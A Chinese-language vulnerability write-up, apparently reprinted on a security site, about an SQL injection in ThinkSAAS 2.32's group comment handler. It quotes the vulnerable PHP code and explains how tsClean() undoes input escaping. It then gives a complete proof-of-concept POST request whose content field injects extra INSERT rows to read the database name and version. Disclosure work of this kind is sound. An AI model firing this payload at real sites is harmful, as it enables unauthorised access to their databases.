ThinkSAAS SQL注入

没穿底裤 2020年1月1日06:31:17评论789 views字数 2850阅读9分30秒阅读模式
摘要

版本 ThinkSAAS 2.32 目前最新版。
app/group/action/do.php 281行post变量全局做了转义,$content = tsClean($_POST['content']);这行去除了转义,导致可绕过单引号限制。
tsClean除去转义后做了一些过滤,但不影响注入。

版本 ThinkSAAS 2.32 目前最新版。
app/group/action/do.php 281行

//回复评论          case "recomment":                            if($_POST['token'] != $_SESSION['token']) {                          echo 1;exit;                  }                                    $referid = intval($_POST['referid']);                  $topicid = intval($_POST['topicid']);                  $content = tsClean($_POST['content']);                  $addtime = time();                    $db->query("insert into ".dbprefix."group_topic_comment (`referid`,`topicid`,`userid`,`content`,`addtime`) values ('$referid','$topicid','$userid','$content','$addtime')");//---------------注入在这里                    //统计评论数                  $count_comment = $db->once_num_rows("select * from ".dbprefix."group_topic_comment where topicid='$topicid'");                                    //更新帖子最后回应时间和评论数                  $uptime = time();                                    $db->query("update ".dbprefix."group_topic set uptime='$uptime',count_comment='$count_comment' where topicid='$topicid'");                                    $strTopic = $db->once_fetch_assoc("select * from ".dbprefix."group_topic where topicid='$topicid'");                  $strComment = $db->once_fetch_assoc("select * from ".dbprefix."group_topic_comment where commentid='$referid'");                                    if($topicid && $strTopic['userid'] != $TS_USER['user']['userid']){                          $msg_userid = '0';                          $msg_touserid = $strTopic['userid'];                          $msg_content = '你的帖子:《'.$strTopic['title'].'》新增一条评论,快去看看给个回复吧^_^ <br />'.tsUrl('group','topic',array('id'=>$topicid));                          aac('message')->sendmsg($msg_userid,$msg_touserid,$msg_content);                  }                                    if($referid && $strComment['userid'] != $TS_USER['user']['userid']){                          $msg_userid = '0';                          $msg_touserid = $strComment['userid'];                          $msg_content = '有人评论了你在帖子:《'.$strTopic['title'].'》中的回复,快去看看给个回复吧^_^ <br />'.tsUrl('group','topic',array('id'=>$topicid));                          aac('message')->sendmsg($msg_userid,$msg_touserid,$msg_content);                  }                                    echo 0;exit;                                    break;

post变量全局做了转义,$content = tsClean($_POST['content']);这行去除了转义,导致可绕过单引号限制。
tsClean除去转义后做了一些过滤,但不影响注入。

function tsClean($text) {          $text = stripslashes(trim($text));//--------转义在这          //去除前后空格,并去除反斜杠          //$text = br2nl($text); //将br转换成/n

$_POST['content']变成$content并带入sql语句。
复现过程:
新建小组,发布帖子,访问http://127.0.0.1/thinksaas/index.php?app=group&ac=topic&id=1 (id为小组帖子的id)
接着发送如下请求:
http://127.0.0.1/thinksaas/index.php?app=group&ac=do&ts=recomment
post数据:

token=5a64c8da0a7550eca1e841033f1cc294bcc60913&referid=1&topicid=1&content=/:',11),('22',1,'1',(select concat((DATABASE()),char(45),(VERSION()))),11),(1,1,3,'

最后会执行这样的sql语句。

insert into ts_group_topic_comment (`referid`,`topicid`,`userid`,`content`,`addtime`) values ('1','1','1','&lt;p&gt;/:',11),('22',1,'1',(select concat((DATABASE()),char(45),(VERSION()))),11),(1,1,3,'&lt;/p&gt;','1429281506')

因为是insert类型的注入,我通过写入3条数据来实现利用。
/:',11)用来闭合第一条记录,因为addtime是int型,无法写入string,难利用。
('22',1,'1',(select concat((DATABASE()),char(45),(VERSION()))),11)用来注入拿到数据。
(1,1,3,'用来闭合最后的内容,因为tsClean($_POST['content']);后前后会被加入回车和

,导致sql语句被分成3行,能控制的数据只在第二行,所以构造这个闭合成完整sql语句。
数据包中token可以在http://127.0.0.1/thinksaas/index.php?app=group&ac=topic&id=1获取到。准确点说,post数据应该是这样:

token=token值&referid=1&topicid=帖子id&content=/:',11),('22',帖子id,'1',(select concat((DATABASE()),char(45),(VERSION()))),11),(1,帖子id,3,'

发送注入请求:
ThinkSAAS SQL注入
访问http://127.0.0.1//index.php?app=group&ac=topic&id=1查看注入结果,出现了3条数据。
ThinkSAAS SQL注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日06:31:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ThinkSAAS SQL注入https://cn-sec.com/archives/76514.html

发表评论

匿名网友 填写信息